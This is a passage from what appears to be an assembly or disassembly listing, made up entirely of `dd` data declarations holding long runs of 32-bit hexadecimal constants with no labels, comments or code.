		dd 9B38D0B2h, 22551585h, 0EC1AFD75h, 1B7EAFAFh,	0B3104BD5h
		dd 6732FC36h, 498FA2FBh, 98865BAAh, 0ACC3C8CCh,	0F68F4387h
		dd 0EBCDF13Ch, 0A726EECAh, 4A501DEFh, 790D49EDh, 0A465DBF5h
		dd 0B34E97E0h, 0F878C5AFh, 0B6343012h, 0EC841C26h, 42F7B3C9h
		dd 0AE9654B6h, 10FC49B0h, 0FDB29C00h, 351039D7h, 0B188E6BCh
		dd 7A98271Ah, 0E0CA7DEBh, 0BAA31CDAh, 8D932B30h, 6B0492BDh
		dd 90D6379Fh, 0FFA69AAAh, 15B83E71h, 6FD73CB5h,	8D82938Fh
		dd 1BFB234Dh, 0AC78E267h, 93C87598h, 97FAF31Eh,	8EA13B70h
		dd 75E6B480h, 910D3A8Ch, 3BFD9596h, 9A3672A9h, 2479A4C7h
		dd 0BA2D03C3h, 0FB474B3Eh, 0D3D4D220h, 3E776154h, 7CA45AA3h
		dd 0D31F13BBh, 7A7E1BAFh, 11196C4Fh, 0FC92C04Eh, 1A70B6F9h
		dd 0AC46B004h, 781D5B79h, 0BC695014h, 6F0542EAh, 17B46958h
		dd 154B336Dh, 0B167EC43h, 589980C0h, 73D25F2Eh,	55D4F4E8h
		dd 0A17DDF00h, 0B335639Bh, 6F9EF5CDh, 0B83CB417h, 0AB7150BDh
		dd 41C83E81h, 4B70D828h, 0F67F70F3h, 67540087h,	6D55761Dh
		dd 0A3D2FA54h, 72E4F720h, 0CCDE62Eh, 25464D3Ah,	0B962ACAAh
		dd 81F8998Bh, 0A1699AF9h, 2964ECFCh, 623D6714h,	1075602h
		dd 24E3B723h, 2A79C522h, 0EC6154D7h, 0AE2A687Eh, 1CF3108Eh
		dd 0E14F0A40h, 4AA64C68h, 7907E6E1h, 1268CC66h,	0F7A66AC2h
		dd 0E6B7CEB1h, 9B962CF3h, 0CF8624D5h, 0C8839E63h, 851B4141h
		dd 8C99425Dh, 884945D9h, 0E4C81C05h, 7D17F699h,	0C45B4A87h
		dd 7D340228h, 7F97D8BFh, 0C992E27Dh, 0EE3BDB54h, 0B676526Bh
		dd 0BD13CCD1h, 0F650D588h, 0D7099CC9h, 0FA383A06h, 0E5E81F9Bh
		dd 18A40203h, 86C50E2Ah, 0A34798EBh, 3900CBFCh,	168CAD1Eh
		dd 0BA1F00A5h, 6313D96Ch, 218A879Eh, 0CE5DC401h, 0CEE5D3CAh
		dd 8AC1B36Dh, 0BD22C492h, 2033ACC8h, 7E282EDFh,	0C3DD3908h
		dd 203F3B13h, 0BEC90ABFh, 67F6ED23h, 0A1510F81h, 0F702D197h
		dd 0AB35E4D7h, 0F1763A66h, 0EF926890h, 7721B1CEh, 0DEBD0D41h
		dd 227FED5Bh, 8BA240B1h, 1A17B7F3h, 1263F02Ah, 80171B0Eh
		dd 0DFB63FA7h, 128911Ah, 0D09AECB7h, 9DD1D6A2h,	7387DC56h
		dd 104533CDh, 71330BBAh, 9BA24D1Ch, 3D875A12h, 561F84B9h
		dd 0DB567B44h, 0A3247218h, 44CDEB4Fh, 0E13591B7h, 9245018Eh
		dd 6B88A515h, 0E811DDE0h, 5A22A89Fh, 0AF21ADEh,	78491304h
		dd 0FDF8DBC2h, 0B23AAB93h, 4A61313Fh, 31E0C115h, 0E1D9BE7Bh
		dd 221F6E83h, 0FD1FC3B9h, 5279613Bh, 0C88F59FAh, 0F0C99626h
		dd 0CFF44933h, 1E6D2D34h, 2CBF52C1h, 6F559E67h,	0E4F108D0h
		dd 7743C23Eh, 0C67B9358h, 50AC3CE1h, 5AE42777h,	20962D88h
		dd 7FEAD48Dh, 7B7D2D19h, 15663AE7h, 0FFEEEC59h,	0DEBCADFDh
		dd 26946FABh, 35DB73CDh, 3926EB8Fh, 87A92865h, 0E7F9D389h
		dd 0CE18512h, 0D3CD50CBh, 0E8F1F7EEh, 813AF4FDh, 0D07BC43Eh
		dd 0A976909Ch, 0E318BFE9h, 2D5404ADh, 0F9FFF6D7h, 1FBAF9F6h
		dd 1363B222h, 6BF1AD8Eh, 92Dh, 208AD01Bh, 0C623464Eh, 8FC8475Eh
		dd 0CB6F3AEFh, 2D51CD2h, 7D2B9E43h, 0DE2E6D22h,	0D2D6189h
		dd 8377B56Fh, 4D2C507Bh, 76F3EE74h, 772B4A8Dh, 7614413Ch
		dd 7D102D20h, 0D3D87E04h, 0A6F5E0E8h, 4ED1794Ch, 462BAA0Eh
		dd 2916F0F3h, 0C3DA7B82h, 1B8C70C6h, 9502AB7h, 87864F5Eh
		dd 248205AFh, 82D29E0h,	3C5E0CBAh, 0FA782C76h, 0A5EFF1B8h
		dd 0CD940BBCh, 0ED102BB7h, 0C236AA61h, 0FA84D288h, 9F110A91h
		dd 0B02E891Ch, 0CCBF5125h, 0C4AA437Fh, 4E1FD459h, 2DC0C86Eh
		dd 2A47705Bh, 62AD0D83h, 0AEB0E6BAh, 0CC010D50h, 0DA41CF1Ch
		dd 0A2FB724Fh, 0B6B891B1h, 0A2AD6B68h, 0C23B65F5h, 31DCB377h
		dd 0EAC00FCh, 99EE380Eh, 6B24F639h, 0C81D8257h,	2068B6FCh
		dd 16E56CFBh, 60483A00h, 0E35DA8B6h, 243AD43Bh,	3A1B6EFDh
		dd 0B9FDA96Fh, 0BF0A53C8h, 6BEBC23Ch, 4B4EACC1h, 206A3969h
		dd 72A9A7B0h, 9F650F51h, 657DBE27h, 0DAB91D57h,	1CDB05A9h
		dd 2A7BB250h, 0EB99A817h, 1A8C80h, 0F080A95Fh, 371AD18Ch
		dd 0C77E5DF2h, 5D3CAEEh, 0DC51F4Ch, 92C66595h, 73DD20F6h
		dd 83DE2D12h, 0AA4F6053h, 5A5463EDh, 0EC2D2876h, 0A9D8281Eh
		dd 7CB530A0h, 16114D8Dh, 8C089AC9h, 84232913h, 7616A327h
		dd 960180DEh, 3CFD6AACh, 30D7B917h, 3098C651h, 781E3FCDh
		dd 0D56496B5h, 8F33A453h, 0AA840D87h, 3CFA8A90h, 0E052042Ah
		dd 3AE7F8A0h, 5C1D484Ch, 0D0C3C2D3h, 8E6FD865h,	4B9A5C4Ah
		dd 2C6A4EBFh, 0B76A8773h, 0DA143824h, 0C1FAE79Eh, 233436F4h
		dd 8A09CC3Fh, 2A51D31Bh, 0C63D73C1h, 1493DD84h,	0DD500F0h
		dd 0D7BEC50h, 0B1FAF69Dh, 470FBF3Bh, 0C6C8797Ah, 99754B33h
		dd 0A5CE0FD3h, 643B930Eh, 52D2E7A7h, 65696655h,	68663EE8h
		dd 9931B85Eh, 7FDC2299h, 3BC7F293h, 0E71921B4h,	0E1D051C8h
		dd 0BB40D97Ch, 4DDD1FD8h, 5B98CB96h, 0A4183CA7h, 54357360h
		dd 0EC1482D1h, 0AB7BD2CFh, 0D6BF50A2h, 0D9CA9EDBh, 0C66A8A1Ah
		dd 0A2062AFDh, 1C8A61Ch, 2E37D9B0h, 437C87C4h, 85A9F460h
		dd 0F2A49D69h, 3DA509E9h, 0FE10DD99h, 10C2BBC7h, 383DF321h
		dd 16826EBh, 0A1350E3Fh, 0BD870CC6h, 661C78B9h,	8DFE8EB2h
		dd 0BF709037h, 9D30AC1h, 0D30D5E70h, 278C4088h,	1D315949h
		dd 9FD54EF4h, 69F070B4h, 790B175Fh, 70569753h, 0E30E1973h
		dd 5568EBh, 61BD4499h, 0DA2FC6BEh, 83E32279h, 3E3398DEh
		dd 4D38494Dh, 0FD56DCD8h, 9CB6ECB7h, 255C6477h,	5A745EBBh
		dd 0C77DAB64h, 9422D278h, 71778669h, 661F0B67h,	3E184D8Dh
		dd 0EE699C7Bh, 286BC6CCh, 5B2C210Ah, 7449A586h,	90E896A9h
		dd 89120512h, 0B99585EAh, 782E9AE8h, 0C2DE231Ah, 2868431Ah
		dd 4C81D261h, 0D6278DF4h, 6DFFFCDEh, 5BE2B343h,	483A78BCh
		dd 0DC0736A6h, 75E027E2h, 0D56BA167h, 261BE63Eh, 0F1FCB0B8h
		dd 1AFCA323h, 0BA6F8E29h, 1E9C7183h, 307C2149h,	0C42DD630h
		dd 0ABA6B873h, 3519AA7Eh, 6696AD99h, 0B2200974h, 8AF4C596h
		dd 0E0365C70h, 0D30B87ECh, 0E7383D2Fh, 4E4E77E1h, 0DF97690Ah
		dd 3450BD0Dh, 112FCC9Eh, 0BFBB2E9Ah, 6F543A46h,	0AB94E8EBh
		dd 4A9DA4Eh, 291113D7h,	0BF245772h, 477DB991h, 8B71BAE3h
		dd 6E894984h, 2A2A6F47h, 449F0D34h, 0FFE51A67h,	8DF56540h
		dd 8D110BCBh, 61AB4C07h, 75CFCC07h, 0FB9F0D2Ah,	169539D7h
		dd 6C66D13Fh, 10077084h, 0D486B1DAh, 0B0177B94h, 501EF6B6h
		dd 9FBC53CBh, 0D5714E9Dh, 0B444F51Ch, 0B4D9796Fh, 0E236613Bh
		dd 3161F7C2h, 390E5B39h, 8E3CCC8Ch, 48F16FC7h, 0AE60339Ah
		dd 11816F73h, 0CCEFB5DFh, 0C840E869h, 0A6B46156h, 6ADB6E1Dh
		dd 5C41228Fh
		dd 7B83A8C3h, 808C55B5h, 73D35FD7h, 0BE7D31E6h,	79D2C2A9h
		dd 12075AFAh, 368FB048h, 0C114F634h, 5EEEF3D0h,	42B5D8D1h
		dd 7EB2CDDh, 0C2099BAAh, 0FDE1579h, 58AF61A8h, 15B47CBFh
		dd 0E57525AEh, 3C7AF11Dh, 0A391CFB2h, 3B174633h, 639097h
		dd 50D74B71h, 0CC6534BAh, 9589591Dh, 0EA62D7B5h, 0FB449B59h
		dd 4F7112CDh, 0CA194322h, 0C99E42B2h, 0B5F057DDh, 0BBD42B66h
		dd 0D002F33h, 9FD9EAC4h, 0FC4F6A5Fh, 0CD9D21D6h, 21DBF55Dh
		dd 0F5648C8Fh, 0A9BCD99Bh, 2A53D7AFh, 193B2C3Dh, 833629ECh
		dd 97FA761Eh, 0AC316FAAh, 0C9F61B25h, 43E03593h, 2DD862A4h
		dd 1E199861h, 67125CD6h, 79525C40h, 0A2FAE93Ch,	0EA941514h
		dd 7084758Bh, 8EF7A65Eh, 403E3C38h, 36DE927Ch, 78DB90E0h
		dd 313171D7h, 25BB9924h, 8B543057h, 34C439C8h, 57837F6Fh
		dd 2C864F70h, 0AF756C05h, 6134A383h, 1C16059Eh,	953CCC8Ch
		dd 0FE810409h, 0EA02430Bh, 807BC5E2h, 7AB1A373h, 0A6A940EBh
		dd 0D0286E3Ah, 284FD82h, 0D1C44D2Bh, 9E6445D0h,	6A24862Bh
		dd 8C3A4875h, 0D52242C0h, 0D255D435h, 0BEC604C7h, 22E159E1h
		dd 0C33595D6h, 53D0BC7Bh, 6ABEB60Ch, 0ACB1100Eh, 24B31C8h
		dd 1861BE0h, 3A6D80C6h,	38F3124h, 9AF734CAh, 58A5DD38h
		dd 0FC2E0FEFh, 0ECDE3FBEh, 2D16C8ADh, 0F422CAB1h, 200B5835h
		dd 522228F3h, 22730706h, 7B9C44AFh, 56272439h, 0BB461F58h
		dd 0DB4C467Bh, 5B632158h, 64A94D73h, 5F8C8DE2h,	77EAC234h
		dd 3786324Ch, 3BC5F33Ch, 7EF3B10Dh, 90F0DF14h, 0B8EAAEC0h
		dd 9AD43BC9h, 92CAF98Ch, 0CB8AA4DAh, 0DBBB69E9h, 42C082B1h
		dd 528C3C8Ah, 144F3B3Ch, 85BC43A3h, 0B4B2B58Ch,	0F29901D3h
		dd 0AECC8476h, 0CA1545FFh, 0A6775CF2h, 0BD86BED2h, 4918814Eh
		dd 668D2905h, 9D9B9C50h, 19EC7E89h, 0C06474B1h,	51969DECh
		dd 7A4F308Dh, 3C241728h, 7C3768E8h, 8D2B93Fh, 8BAC75AEh
		dd 462CFFC5h, 94395508h, 6D9A03D5h, 0C15A24D0h,	256DE512h
		dd 0DD03675Fh, 0D25296F2h, 261BD139h, 3D9B231Ch, 0F5162CF4h
		dd 0A4721DECh, 0E9406381h, 78CEBB2Bh, 6EA9EA0h,	72736412h
		dd 27B6EA64h, 0D6A53541h, 613571FBh, 0F1DB20A2h, 49EB9EE3h
		dd 0B5B5902Fh, 7DC5F01Fh, 0DF8FD76Fh, 0FC1DBEB8h, 1AA757FFh
		dd 0EC7ADFEBh, 45F741Ch, 0CDE2F4F9h, 0A3937CD1h, 168BF34h
		dd 129955CDh, 6D1A4B38h, 0BA71BEEAh, 0FF665EBDh, 36F0288Dh
		dd 68CFF008h, 7EF9B3E7h, 0CA8DA385h, 8627E585h,	0DE79A134h
		dd 0CF9B6EDAh, 970E9B6Dh, 5B5B14h, 0EA11690Ch, 0FE31A6FDh
		dd 0D1563775h, 0FF25E465h, 53DF441Ah, 303D2E41h, 0A0560689h
		dd 679FD906h, 0E207B947h, 20F21E22h, 0E587D77Eh, 3C067F9Dh
		dd 3BF55E14h, 0B8625E75h, 894FDB70h, 0FFEBE49Bh, 34D69C3h
		dd 0CF05E8CCh, 0A2A55206h, 0E322C6DCh, 12E6C62Bh, 0FA305F70h
		dd 0D62C3C6Bh, 0B133925Eh, 1FD424DAh, 80BE4A7Fh, 9583670Eh
		dd 0F6513C98h, 0E11C8C31h, 33DF4404h, 34C08FDh,	14B69099h
		dd 0BF2F9E9Ch, 0FCE65488h, 92A26099h, 0A84303Ch, 693A3CF4h
		dd 0BF9986FBh, 0AAA1EF46h, 5B02D8C9h, 0D717C94Fh, 6BCB814Ah
		dd 323ECB2Fh, 0A4584A15h, 971A63AAh, 0D06F488Fh, 44611E9Dh
		dd 0CE51B6BFh, 2D1B7129h, 5FCA9F4Ch, 30077672h,	97F8B306h
		dd 280BA379h, 404037C6h, 32C3282Ch, 1E5BCD3Dh, 55F9B32Eh
		dd 3E92E50Ch, 0FDE3B1BAh, 36B93CCCh, 1C60B666h,	2494F2D7h
		dd 34ACE857h, 7CB14D0Ah, 127D91E0h, 3B7F88D4h, 4A6B4DAAh
		dd 6F4CE614h, 47CE8DE1h, 243D1C9Dh, 8E24FB0Fh, 0DE40A5A6h
		dd 0B77923F8h, 3E31C6A9h, 54FC488Dh, 0CC5B26A4h, 0B48018B7h
		dd 0C85BB5FCh, 0CF23369Dh, 0D3BA846h, 8ABF171h,	37C3885h
		dd 0B4BACD09h, 53843BFDh, 0E3EA51F9h, 2B53730Eh, 5268C864h
		dd 0ED81890Bh, 4B2DF2A3h, 0B5AABB58h, 0F546446Ch, 577A5A8Ch
		dd 0D74913Bh, 20C18F1Fh, 0E21715BAh, 0D5FBBFB1h, 2FD0FD7Dh
		dd 4C4C8EA2h, 7E1AF4FDh, 6A761D56h, 21549D5Ah, 0D0F079ADh
		dd 55A8966Fh, 76321AFBh, 0ADF8C7F8h, 0AD5F63h, 699CADC2h
		dd 0E0861C4Dh, 0A9F7A9A8h, 8B61E736h, 3E33EABDh, 0B8E3DC6Dh
		dd 2ACF624Dh, 9AAA52C7h, 0F6E9065h, 72552ECEh, 0A9B0BEC3h
		dd 9F74ECA4h, 0FC8CFA27h, 0D67C65E5h, 0F71D4898h, 7E5C3DADh
		dd 1F63236Dh, 200D4A3Fh, 0D9CB95D9h, 0F1B0F933h, 0FB46EEE3h
		dd 2002F1BCh, 18A6761Eh, 612355C0h, 2F8CF0EFh, 0D21C9E96h
		dd 0C465ED63h, 0D6A0D140h, 5687752Bh, 0C7FE0E3Dh, 3B081DA9h
		dd 0B32658A7h, 882B08CAh, 2463E29Ch, 979C13AFh,	3770F9B4h
		dd 7CF9EF44h, 0A8A29A0Dh, 327F2AD5h, 0C7DE1BA2h, 0C61C2416h
		dd 0ADB3D0EBh, 0CD860D33h, 2A50478Bh, 15F4F27h,	15594843h
		dd 0CA4F56DAh, 594A8048h, 179F9267h, 0AB7ED8BDh, 552F8DD6h
		dd 0D476ECF5h, 9ADEBB4Fh, 0D12B3226h, 702FF09Eh, 0F1C31434h
		dd 89204ECCh, 8DA3462Fh, 6C25C49Eh, 614FACF3h, 4053438Fh
		dd 374DBBABh, 323945A1h, 0C6834B2Dh, 2C0A83AAh,	0BD8CDDCh
		dd 68DFED6Ch, 3B9E3E75h, 236E5527h, 0FCE5396Dh,	500A5CD5h
		dd 227BB409h, 0E33F6BE6h, 1207D09Ch, 0F9F72C79h, 0E948B8CBh
		dd 9E954FB4h, 0F4598827h, 4476B131h, 0EB9182CFh, 6BAE903Bh
		dd 1451228Bh, 2CA80584h, 44C68185h, 49737576h, 0BA622CF5h
		dd 5DA9D92Ch, 0DB352823h, 0DC9B903Fh, 889F7796h, 0E11C336Ah
		dd 6B7AED96h, 92611529h, 4ED98ADCh, 6BADC183h, 0A4057724h
		dd 88A748A6h, 43B397ECh, 36346210h, 698566ABh, 874F1F50h
		dd 4D87792Bh, 8DBF85BBh, 3D8BC2B2h, 1296345Dh, 41EBC042h
		dd 0EB24866h, 0EEE72F2Bh, 0BBA04756h, 3ACF2A95h, 84FB2D21h
		dd 0B3FA33Eh, 0EEE3013Fh, 26774530h, 0B8FF446Ch, 351BE39Ch
		dd 0FE065853h, 4E450311h, 0F82EC668h, 0F918068Fh, 1AA0C08Ch
		dd 0F778127Fh, 0B5E186A9h, 4D4BA745h, 0A149F953h, 0D22A674Fh
		dd 1773FE76h, 37A24C68h, 6D1B55F8h, 8999A2Fh, 30F1525Bh
		dd 7C59850Dh, 9F035BD4h, 84134522h, 0FC73E0EDh,	0DFECA8E5h
		dd 52000CCCh, 11405063h, 333C4466h, 0D30CDE33h,	96C67742h
		dd 0DBDAFD99h, 9CBA452Eh, 9850BC06h, 0FB207EB5h, 18CD1A02h
		dd 0D5B63EECh, 0E240CE7Bh, 3F2AD5B3h, 4690BE91h, 4CA0C8C5h
		dd 8A0980F8h, 0DBF456Dh, 6144CBBCh, 1C9128BAh, 0AC73E8Fh
		dd 0F2E2891h, 6D478B33h, 24E9DA57h, 3AC3657Fh, 53078AC5h
		dd 0B4FAFB92h, 78EEB7ADh, 0DD55A267h, 0ABE7BFEBh, 3A12E1EFh
		dd 1368B557h, 20E97C7Bh, 0DF9239CAh, 0D9B6AC0Ch, 0AE1A85E1h
		dd 2D9E9332h, 51A277D7h, 3ECCAA60h, 2B382A29h, 0AB3CFC67h
		dd 528F6DDCh, 0FE8E5891h, 0ABC66200h, 23BD4C10h, 0EDAA971h
		dd 2F64067Ah, 15CD0BF2h, 56DDD6C9h, 745BE642h, 68EA675Bh
		dd 0E1C65C84h, 3F73EA68h, 0ABE6FCA2h, 78A0A0E5h, 0DA8B015Bh
		dd 28A237D3h, 0EE0FB67h, 35963D52h, 2EA6B15Eh, 0E575895Ah
		dd 376B7B8h, 2DD6960Bh,	71D04729h, 70BEBA53h, 9EEA9128h
		dd 9F0D7958h, 50DD5C05h, 35F626A2h, 1E362333h, 26D3E611h
		dd 640A1924h, 0B787AD37h, 68FD6DAEh, 0E3A691B1h, 87771CDFh
		dd 0AA8AEE95h, 10362923h, 238F709Fh, 0C8A95604h, 1FA8EA81h
		dd 7ABE068Ch, 70720982h, 0EEB96C64h, 0A243EA72h, 26EE5A6Dh
		dd 7F1ED989h, 0E67F19C7h, 3713E30Ch, 0AF20AC5Eh, 0C462A506h
		dd 0EDD68C2Ch, 0C8C348E6h
		dd 0D06CC67Ch, 0DAE9801h, 59AB67A0h, 9DADBB60h,	5C0CD498h
		dd 42AC2D38h, 4FA3E5D8h, 0A095E474h, 6863FE1Fh,	0CD436F0Dh
		dd 2944F302h, 2E361673h, 0FF30938Ch, 0E032B825h, 0F458A0F5h
		dd 0E7DEBAB4h, 0C9A0699Fh, 0B4204A41h, 3C9E3EC8h, 84770C63h
		dd 9570122Bh, 6C006102h, 442CDh, 0EF17409h, 0F49EA0A1h
		dd 6ED266E5h, 9ED13B82h, 0F8141Fh, 0B915ABDCh, 0BB2C2676h
		dd 33DE4E69h, 25F9C1CFh, 0DEF099E8h, 0CC2DAF13h, 9964AEDDh
		dd 6ED2C15Ch, 0A1372ECFh, 0C147BF4Bh, 0CD3F08A8h, 7826F528h
		dd 0D7D59B79h, 295E29FFh, 45AC01CFh, 928F8185h,	3502654Bh
		dd 43FAB682h, 6D99F2F3h, 0DAB8E45Fh, 532E403Dh,	9D329654h
		dd 88BCC241h, 0F8650BBFh, 455AC90Ch, 3EAD1115h,	76659964h
		dd 0EF294E1Ah, 0A4529683h, 0CD474F6Ch, 137A795h, 31800C38h
		dd 84812FF5h, 0CA7E21CCh, 642ED692h, 0BB9D6520h, 8E788D0h
		dd 0EC4FA8EFh, 0E85694E1h, 0D24057F9h, 139055FBh, 795A82CBh
		dd 0C07F5B7Fh, 959B1177h, 0C4ED378Dh, 5BEF0081h, 0BD2D8056h
		dd 6F880393h, 688A4D67h, 0D2E7C96Dh, 1CE893C2h,	0C751D52Fh
		dd 529A0D6h, 5AAE7D27h,	2CF86F18h, 6D70E0C4h, 3E7B2BF2h
		dd 0E9D4F3E9h, 0D4ECAE02h, 9BD58DDh, 88EB2DFh, 69C97029h
		dd 3618381Bh, 5951DE58h, 38AB8248h, 72FF5A43h, 0CB8B9B45h
		dd 45FC4F28h, 0E47B1303h, 5DA6E9BEh, 3A3D33DFh,	0B2D55D01h
		dd 0DE289522h, 0E08536C0h, 0B5B1A2F9h, 5BD4BAB6h, 0E951BC60h
		dd 7684DF72h, 0D1B5359Ah, 6860251Bh, 0CDF00F6Bh, 23814E6Eh
		dd 63C0B3DFh, 72E4C102h, 939A29A5h, 3F3E7192h, 11C48FB5h
		dd 86E6AC71h, 53DB25DAh, 0CB2D07A6h, 0C6E529DFh, 83BBF741h
		dd 72C6B3B3h, 0B3723B11h, 80E46C4Dh, 2D572A06h,	0B305F61Fh
		dd 8013769Fh, 5767E3EBh, 30B6F228h, 24CF86E3h, 8813951Ah
		dd 0CD49CF96h, 936CE271h, 7FC12E79h, 93643C4Eh,	7A039289h
		dd 15464660h, 598C61ADh, 7EC86F43h, 2C83B560h, 0CAE14E2h
		dd 0C89F43Ah, 0C5718947h, 0EE323B5Eh, 0DB199B14h, 5866F733h
		dd 0CF977A16h, 7C97DF6Dh, 0D8860579h, 0D754FAEFh, 5422673h
		dd 0A7DC2624h, 398904EAh, 3523B67Fh, 8ACD6669h,	89E464A9h
		dd 0AA22BC4Ch, 0DBBF233Dh, 417C9DB5h, 68414EB4h, 910CFE43h
		dd 7D2F8629h, 0BDE2E2CEh, 0A6214D41h, 0F806B8CEh, 6B7B4F01h
		dd 49DC9D5h, 999E6A65h,	1E443D93h, 4F05B9F1h, 0E2BDBDAEh
		dd 258B65B8h, 1837F77Bh, 7F1DC6D5h, 21788074h, 18768AD9h
		dd 5E3CFEDDh, 0DD24A499h, 0A394C76Ah, 2DE5DC94h, 4320B67Eh
		dd 6FAD5166h, 551F8506h, 0E58718B0h, 0FA247C8Ch, 0F4AFB415h
		dd 0EA34B76h, 0ECC4910Ch, 6E621F27h, 6A7AD892h,	4611E527h
		dd 0FCC599D6h, 0E4BC2D4h, 0B11ED022h, 0D662116Ch, 167EF01Dh
		dd 0A6279DEAh, 0AD1BE563h, 40A45FC6h, 481FF888h, 0DD342F75h
		dd 0E51FF34Ah, 4424DAAh, 0AFCF4E0Ch, 6BDFB5A6h,	63683E6h
		dd 0BCAAD0D6h, 0BDA3D0D4h, 9DA4A1CAh, 7042EBD0h, 4E53726Ah
		dd 0B0906682h, 5711F490h, 8A92FA70h, 0F6BC16CFh, 0D5F6328Ch
		dd 4BF94E99h, 0C743843h, 35D2DDD1h, 0E28A0DCEh,	34CA0908h
		dd 80C483D6h, 5CF7F053h, 2C64DA50h, 7612EFBFh, 0C4EF3CF0h
		dd 352BB4E1h, 9BD916EAh, 0F835C1D6h, 5895464Fh,	0E83435F8h
		dd 0E73D1146h, 7C3446ADh, 0B4338BD2h, 3E99B92Ch, 88DECEBBh
		dd 614E62CFh, 93BFBAD3h, 90D04FCFh, 327F7CE1h, 60C99889h
		dd 0D9AFE84Dh, 944EE919h, 23ED2DC3h, 6BFA3517h,	8BC92237h
		dd 1CA22255h, 0DB264930h, 0A25B7AD1h, 0DC2C75F5h, 7A9A4DCCh
		dd 0A6D7BA3Ah, 0EBF7C47Fh, 0AA550EDBh, 22D07049h, 6DC70B0Ah
		dd 0D984DD44h, 7A44F131h, 5C2A8F06h, 7CA18A7Fh,	0DE8EEB4Ah
		dd 7F8DF376h, 3C393E4h,	7FFCA619h, 6C15D5BAh, 8882B755h
		dd 92B62762h, 8C74E763h, 0E8014447h, 2512E996h,	278CCDD8h
		dd 0E5E56E02h, 0AA75B775h, 17C7A97Eh, 0A0D3DC4Ch, 47C6B2C0h
		dd 4FD404EFh, 0BD2866D6h, 246A6ABFh, 346645E5h,	86607C40h
		dd 0D5CBBF56h, 430B265Eh, 4D64D79h, 0F23E6FA5h,	0A58B8C68h
		dd 2C1ABE61h, 0F492CEFCh, 0A0C00157h, 2D133D09h, 89CA2AA8h
		dd 8FC0C64Dh, 0F224B958h, 0DE0ADE78h, 14360B55h, 3F9D3316h
		dd 0CE0E171h, 0C441A072h, 0F391BEB0h, 74029235h, 83385617h
		dd 1A03EBEh, 0C72F4AE6h, 0E208C37Fh, 7899CE14h,	87F11930h
		dd 41F6B50Eh, 348CDBA9h, 1C5FC893h, 7F652340h, 0A6C0243Eh
		dd 1DA13E19h, 0B5D6A955h, 6250219Bh, 292141B0h,	0C5C0AF55h
		dd 2CB30005h, 0A1AA59DEh, 0FAA940A7h, 9A002145h, 7DC025A0h
		dd 0CBD76605h, 1FAB29F5h, 1D04A47Ah, 99C7AD38h,	0B589F853h
		dd 0AEB9A005h, 10AE893h, 0E3B51571h, 0F05E9E35h, 0DDA0B195h
		dd 0E2515D1Dh, 0B80F1749h, 0C3E2C046h, 7FA7C53Eh, 1FEBB1E8h
		dd 7BEF5D6Ch, 3F52394Eh, 0CFEF6E7Eh, 0A4194F41h, 5A334A63h
		dd 3092AA53h, 97216374h, 7E371B86h, 0E9F3E1EEh,	9B9EBB7h
		dd 278CEB33h, 17789CFh,	848B158h, 0D35B51BCh, 0F9A6F2DAh
		dd 9F709DC8h, 4BDB8597h, 8DD752CAh, 13ABAD3Eh, 0EA9D56ACh
		dd 0B6145388h, 0E4F74BA9h, 0A5A07D27h, 0C54DE5F4h, 0E89DD3C1h
		dd 0EE8ADD11h, 41CA429Fh, 0F6CC2566h, 0BD4BF058h, 0DDCE6E31h
		dd 0E3520EE7h, 982AE347h, 0C1B3F61Ah, 9F6FEEFAh, 0B1F1D993h
		dd 6C27399h, 7373208Ah,	0AA5A7E3Ch, 617A5CB9h, 7ABE5BDDh
		dd 7D09B47h, 4974106Eh,	336AC5E7h, 0CA83CA4Ch, 73545DFEh
		dd 0BAC1532Fh, 1CC9DBADh, 2309709Ah, 537FC771h,	7B798EA3h
		dd 4B13A73Bh, 44D37013h, 69EB450Dh, 4F854DD1h, 0A5D455EDh
		dd 0B2ED75CEh, 6A7C27D5h, 3C939643h, 0D33BD060h, 0AA099E1h
		dd 0D182557Ah, 5FEC1366h, 67FE5638h, 0CCDEFE92h, 9CFDFF73h
		dd 1E5D4CE7h, 0D0A49A94h, 0D0F7F895h, 0E8F031A7h, 7E7B816Dh
		dd 0BA5BCADh, 72D6809Fh, 0B96754C7h, 0DF6F79B6h, 5C40B56Ch
		dd 0AF290A83h, 0E39B25D9h, 77F699C9h, 417619CBh, 8264371h
		dd 4F02CCB0h, 3C48DEBFh, 0BBDBF3CFh, 0B344203Fh, 83746136h
		dd 1FA3B371h, 246D9701h, 2378A429h, 0D7EE7D98h,	0E202536Ah
		dd 0BA6D688Eh, 0FFDC6187h, 0C94821Fh, 1DD4BA35h, 0C1097CC4h
		dd 87C27101h, 0E4BC2794h, 8C397E01h, 7129DDDh, 4B34A488h
		dd 6A97CC99h, 0C12C1F4Eh, 5251447Fh, 3FAB620Ah,	126E5B45h
		dd 0C9C23600h, 0DEE926CCh, 3BCCF3F8h, 0C6360A00h, 7B5B1F2Fh
		dd 0E84C653h, 0C8D2D3DCh, 0C0FE6193h, 96F46313h, 70C8E42Dh
		dd 73C7CDC3h, 582179E7h, 7FA15F39h, 8543B04Dh, 0AE1D357Ch
		dd 5D695BCDh, 40E121FBh, 0C6C3AB95h, 0E473D6A1h, 1633CE3Ah
		dd 527173CFh, 682E922Eh, 4405DBACh, 0E546D801h,	4F236019h
		dd 0DDDCE820h, 4292B726h, 8F63F77Ch, 9FD81F44h,	642350Fh
		dd 26B1CE35h, 56AAEF7Bh, 0CE894E30h, 5C6BC2Fh, 85BF1A85h
		dd 0F4E91738h, 27487B30h, 34E0BBEBh, 0E27A671Dh, 7895BCEBh
		dd 2026AA37h, 0B95D0F2Eh, 0EF838DDEh, 85822C80h, 0B4CB5790h
		dd 0A216C1Ah, 2A95531Bh, 6C7DFE4Dh, 0ABB52C93h,	0A518AA6Ch
		dd 1CDA131Fh, 59DED95Ah, 0DF28A53h, 0C2DCC2DEh,	19E65CB5h
		dd 24D52666h, 0B9A99893h, 797B0786h, 0E7120CAAh, 3E3244ABh
		dd 0B2FC9ECDh, 83F62F88h, 1C6ED5ECh, 0B30F1B89h, 932EDC0h
		dd 8E0404C3h, 13C44DDEh, 0A56EB5F6h, 5A1F0159h,	813FB716h
		dd 8804F2A5h, 0F9D550F5h
		dd 0E3079E33h, 66ADDFBEh, 390B2C89h, 0DDD5B9F6h, 0FF2ACA2h
		dd 0F8BC9D8Dh, 0F8046DE8h, 47A7CF1Bh, 8EC65BCBh, 0DFF25944h
		dd 4D62B10Fh, 566F9C8Bh, 0E805AE33h, 2D1375CEh,	0E100103Ah
		dd 6F4083C7h, 6FF119C5h, 4A2A2789h, 0B715873Dh,	97FD0EEEh
		dd 367E742h, 2D1ADEB6h,	608F6DDBh, 2D3B9C4Bh, 0DBFCB568h
